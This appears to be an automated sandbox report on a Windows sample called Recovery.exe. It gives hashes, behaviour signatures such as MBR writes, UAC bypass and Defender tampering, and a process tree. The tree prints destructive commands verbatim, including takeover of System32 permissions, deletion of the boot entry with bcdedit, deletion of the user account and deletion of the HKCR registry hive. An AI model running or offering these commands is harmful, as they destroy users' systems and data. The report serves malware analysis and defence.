Analysis

  • max time kernel
    55s
  • max time network
    16s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    19-11-2024 03:15

General

  • Target

    Recovery.exe

  • Size

    107KB

  • MD5

    d90957d3cd23fbe36dedf1de6faa40d7

  • SHA1

    d4eaf5265a509389673f78621f2b8fad4469534b

  • SHA256

    d5acc827ecfc0a6944eb3b7fe4e1de10c433f8bacbf9e5ac576a5fbd55219f36

  • SHA512

    aee281bbeace797741126ccdb5b516bfb265b6630f16ffaf44ad840383e42ea11e5fe9b30518c2de652dfc2dfc8521523f99b8e39d79d28691e6049de843c12f

  • SSDEEP

    3072:gL06G8Hl9Sfhw4mzbW/hg0cYpG1RgN1UeeXB:gL48F9S2NbAhg0cYpG1RgN1Ues

Malware Config

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs
  • Modifies visibility of file extensions in Explorer 2 TTPs 1 IoCs
  • Modifies visiblity of hidden/system files in Explorer 2 TTPs 1 IoCs
  • UAC bypass 3 TTPs 2 IoCs
  • Blocks application from running via registry modification 9 IoCs

    Adds application to list of disallowed applications.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Disables use of System Restore points 1 TTPs
  • Indicator Removal: Network Share Connection Removal 1 TTPs 3 IoCs

    Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation.

  • Possible privilege escalation attempt 6 IoCs
  • Modifies file permissions 1 TTPs 6 IoCs
  • Checks whether UAC is enabled 1 TTPs 2 IoCs
  • Modifies WinLogon 2 TTPs 2 IoCs
  • Modifies boot configuration data using bcdedit 1 IoCs
  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies Control Panel 1 IoCs
  • Modifies Internet Explorer start page 1 TTPs 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 45 IoCs
  • System policy modification 1 TTPs 11 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Recovery.exe
    "C:\Users\Admin\AppData\Local\Temp\Recovery.exe"
    1⤵
    • Modifies Windows Defender Real-time Protection settings
    • Modifies visibility of file extensions in Explorer
    • Modifies visiblity of hidden/system files in Explorer
    • UAC bypass
    • Blocks application from running via registry modification
    • Disables RegEdit via registry modification
    • Checks whether UAC is enabled
    • Modifies WinLogon
    • Writes to the Master Boot Record (MBR)
    • Modifies Control Panel
    • Modifies Internet Explorer start page
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    • System policy modification
    PID:2736
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k takeown /f C:\Windows\System32 && icacls C:\Windows\System32 /grant %username%:F && takeown /f C:\Windows\System32\drivers && icacls C:\Windows\System32\drivers /grant %username%:F && Exit
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2648
      • C:\Windows\system32\takeown.exe
        takeown /f C:\Windows\System32
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        • Suspicious use of AdjustPrivilegeToken
        PID:2644
      • C:\Windows\system32\icacls.exe
        icacls C:\Windows\System32 /grant Admin:F
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:2528
      • C:\Windows\system32\takeown.exe
        takeown /f C:\Windows\System32\drivers
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        • Suspicious use of AdjustPrivilegeToken
        PID:2560
      • C:\Windows\system32\icacls.exe
        icacls C:\Windows\System32\drivers /grant Admin:F
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:2604
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k takeown /f C:\Windows\System32\winlogon.exe && icacls C:\Windows\System32\winlogon.exe /grant %username%:F exit
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2836
      • C:\Windows\system32\takeown.exe
        takeown /f C:\Windows\System32\winlogon.exe
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        • Suspicious use of AdjustPrivilegeToken
        PID:1680
      • C:\Windows\system32\icacls.exe
        icacls C:\Windows\System32\winlogon.exe /grant Admin:F exit
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:2548
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k bcdedit /delete {current} && exit
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1160
      • C:\Windows\system32\bcdedit.exe
        bcdedit /delete {current}
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:1248
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k net user "%username%" /delete && exit
      2⤵
      • Indicator Removal: Network Share Connection Removal
      • Suspicious use of WriteProcessMemory
      PID:2516
      • C:\Windows\system32\net.exe
        net user "Admin" /delete
        3⤵
        • Indicator Removal: Network Share Connection Removal
        • Suspicious use of WriteProcessMemory
        PID:1764
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 user "Admin" /delete
          4⤵
          • Indicator Removal: Network Share Connection Removal
          PID:2276
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k reg delete HKCR /f && exit
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2800
      • C:\Windows\system32\reg.exe
        reg delete HKCR /f
        3⤵
          PID:2904

    Network

    MITRE ATT&CK Enterprise v15

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    Downloads

    • memory/2736-0-0x000007FEF5FF3000-0x000007FEF5FF4000-memory.dmp

      Filesize

      4KB

    • memory/2736-1-0x0000000000B90000-0x0000000000BB2000-memory.dmp

      Filesize

      136KB

    • memory/2736-2-0x0000000000240000-0x0000000000246000-memory.dmp

      Filesize

      24KB

    • memory/2736-3-0x000007FEF5FF0000-0x000007FEF69DC000-memory.dmp

      Filesize

      9.9MB

    • memory/2736-4-0x000007FEF5FF3000-0x000007FEF5FF4000-memory.dmp

      Filesize

      4KB

    • memory/2736-5-0x000007FEF5FF0000-0x000007FEF69DC000-memory.dmp

      Filesize

      9.9MB